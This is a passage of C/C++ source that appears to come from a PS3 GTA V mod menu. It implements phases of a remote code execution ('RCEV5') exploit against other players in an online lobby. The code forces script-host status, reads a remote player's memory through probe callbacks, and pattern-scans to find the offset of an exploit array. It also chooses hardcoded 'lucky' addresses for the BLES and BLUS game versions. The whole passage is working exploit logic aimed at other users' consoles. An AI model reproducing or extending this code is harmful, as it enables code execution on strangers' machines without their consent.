printf("Value found: 0x%X, goal: 0x%X, index: %i\n",ret,0x744E6577,findRCEV5StartValueIndex);
if (ret == 0x744E6577) {
print2("Found it!\n");
printf("Found at index %i\n",findRCEV5StartValueIndex);
findRCEV5StartValueBool = false;
} else {
//start next search
findRCEV5StartValueIndex++;
addOnToBaseExploitAddress = findRCEV5StartValueIndex * 4096;
echoStartValueOfItAddress(findRCEV5StartValuePlayer,0x1891568);
//0x1891568 which is 0x744E6577
}
}
} else {
findRCEV5StartValueBool = false;//stop the loop when it reaches above the max
print2("Start not found!");
}
}
}
void findRCEV5StartValue_init(int player) {
assureHostOfFreemode(player);//this is necessary, function now works, just slowly
if (getHostOfFreemodeScript() != player) {
print2("Not ready yet! If thi s lasts for too long, leave the lobby then rejoin.");
return;
}
findRCEV5StartValuePlayer = player;
findRCEV5StartValueBool = true;
findRCEV5StartValueIndex = -recv5searchRange;
//initial one
addOnToBaseExploitAddress = findRCEV5StartValueIndex * 4096;
echoStartValueOfItAddress(findRCEV5StartValuePlayer,0x1891568);
}*/
//10 82 12 8C 10 62 12 8C 10 84 2D C6 7C 61 01 CE
//max = 0x27F3B8+4096*3000
//min = 0x27F3B8-4096*500
struct FoundData {
int index;
int value;
};
int startAddressOfDataFoundReal = 0x1891528;
int indexOfDataFound = 0;
const int countOfWhichDataToFind = 8;//find 8 ints
int currentCoundOfFoundData = 0;
FoundData foundDataArray[countOfWhichDataToFind];
//bool valueForTesting = false;
bool phase2PercentOutputBool = false;
void phase2PercentOutput() {
if (phase2PercentOutputBool) {
float value = (float)currentCoundOfFoundData / (float)countOfWhichDataToFind;
char buf[500];
snprintf$(buf, sizeof(buf), "Progress: %.1f%%", value * 100);
print2(buf);
}
}
void searchForAddressOfFoundDataArray() {
phase2PercentOutputBool = false;
int start = 0x10200;//startAddressOfDataFoundReal - 4096*1500;
int end = 0x2218296;//startAddressOfDataFoundReal + 4096*1500;
/*
int countOfDataToFind = countOfWhichDataToFind - 1;
int indexOf0 = foundDataArray[0].index;
for (int i = 1; i < countOfWhichDataToFind; i++) {
foundDataArray[i - 1].index = foundDataArray[i].index - valueForTesting==false?0:indexOf0;
foundDataArray[i - 1].value = foundDataArray[i].value;
}
*/
for (int i = start; i < end; i += 4) {
//if (*(int*)i == foundDataArray[0].value) {//don't check the first one
int addr = i - foundDataArray[0].index * 4;
bool match = true;
for (int a = 1; a < countOfWhichDataToFind; a++) {
if (*(int*)(addr + foundDataArray[a].index * 4) != foundDataArray[a].value)
match = false;
}
if (match == true) {
//addr is their equivalent of startAddressOfDataFoundReal
int dif = addr /*+ valueForTesting */- startAddressOfDataFoundReal;
//printf("Difference found: %i\n", dif);
addOnToBaseExploitAddress = dif;
print2("~g~Found and done! Time for 'Phase 3'",10000);
//printf("Important values: base(new): 0x%X + 0x%X\n", addressOfTheExploitArray, addOnToBaseExploitAddress);
//printf("plus 0x%X , minus 0x%X\n", addressOfTheExploitArray + addOnToBaseExploitAddress, addressOfTheExploitArray - addOnToBaseExploitAddress);
//printf("Actual address: 0x%X\n", Read_Global_Address(1666041));
return;
}
//}
}
print2("Did not complete :(\nTry again");
}
int findRCEV5StartValuePlayer = 0;
void findNextIndexOfData();
void findNextIndexOfDataCallback(int valueGotten) {
/*if (restartSearchHotfix == true) {
restartSearchHotfix = false;
return;
}*/
//valueGotten += 0x46;
if ((valueGotten & (1 << 31)) == 0 && valueGotten != 0x46) {
//store the value cuz it's a legit one or something idk
foundDataArray[currentCoundOfFoundData].index = indexOfDataFound;
foundDataArray[currentCoundOfFoundData].value = valueGotten;
//printf("Found data at %i\n", indexOfDataFound/*, valueGotten*/);
currentCoundOfFoundData++;
if (currentCoundOfFoundData >= countOfWhichDataToFind) {
//now search for it
searchForAddressOfFoundDataArray();
return;
}
else {
//print("~r~THIS IS HERE OMG");
}
}
if (indexOfDataFound >= 20) {//fix for when it takes too long
searchForAddressOfFoundDataArray();
print2("Timeout... :(\nTry again");
return;
}
indexOfDataFound++;
findNextIndexOfData();
}
void findNextIndexOfData() {
callbackOnResultValue = findNextIndexOfDataCallback;
echoStartValueOfItAddress(findRCEV5StartValuePlayer, startAddressOfDataFoundReal + indexOfDataFound * 4);
}
bool foundPlayerValuesForExploit = false;
void startNewFindData(int player) {
phase2PercentOutputBool = false;
foundPlayerValuesForExploit = false;
isBLUSVersionOfGame = false;//reset to not BLUS version
readyForRCEReadValue = true;//this stupid thing... Set this so it doesn't have the read bug
addOnToBaseExploitAddress = 0;//must reset it otherwise it gets silly because it isn't reading from the correct offset
startAddressOfDataFoundReal = 0x1891528 + (GAMEPLAY::GET_RANDOM_INT_IN_RANGE(-1000, 1000) * 4);//0x1892C24 = 0x16FC difference
int luckyValuesBLES[] = { 0x18913C4, 0x1892098 };
int luckyValuesBLUS[] = { 0x1890680, 0x1891AE0, 0x1891E08, 0x18905F0, 0x1891E00, 0x1890A00, 0x1891FDC, 0x1890EA8 };
bool randOrLucky = _rand()%2;
int arrLenCombined = sizeof(luckyValuesBLES) / 4 + sizeof(luckyValuesBLUS) / 4;
int luckyIndex = _rand() % arrLenCombined;
if (randOrLucky == true) {
//printf("CHOOSING LUCKY VALUE\n");
if (luckyIndex < sizeof(luckyValuesBLES) / 4) {
startAddressOfDataFoundReal = luckyValuesBLES[luckyIndex];
}
else {
startAddressOfDataFoundReal = luckyValuesBLUS[luckyIndex - sizeof(luckyValuesBLES) / 4];
}
}
//printf("0x%X\n", startAddressOfDataFoundReal);
assureHostOfFreemode(player);//this is necessary, function now works, just slowly
if (getHostOfFreemodeScript() != player) {
print2("Not ready yet! Please wait a minute and try again...");
return;
}
phase2PercentOutputBool = true;
findRCEV5StartValuePlayer = player;
indexOfDataFound = 0;
currentCoundOfFoundData = 0;
findNextIndexOfData();
}
void callbackCheckBLUSAddress(int value) {
if (value == 0x424C5553) {
print2("Found correct data for BLUS!\n~g~Go to 'Phase 4'",10000);
//printf("Lucky Value: 0x%X, BLUS\n", startAddressOfDataFoundReal);
isBLUSVersionOfGame = true;
}
else {
print2("~r~Error: did not find a valid game type!\n~r~Go back and Retry 'Phase 2'");
//revert value
addOnToBaseExploitAddress -= 0x1AD00;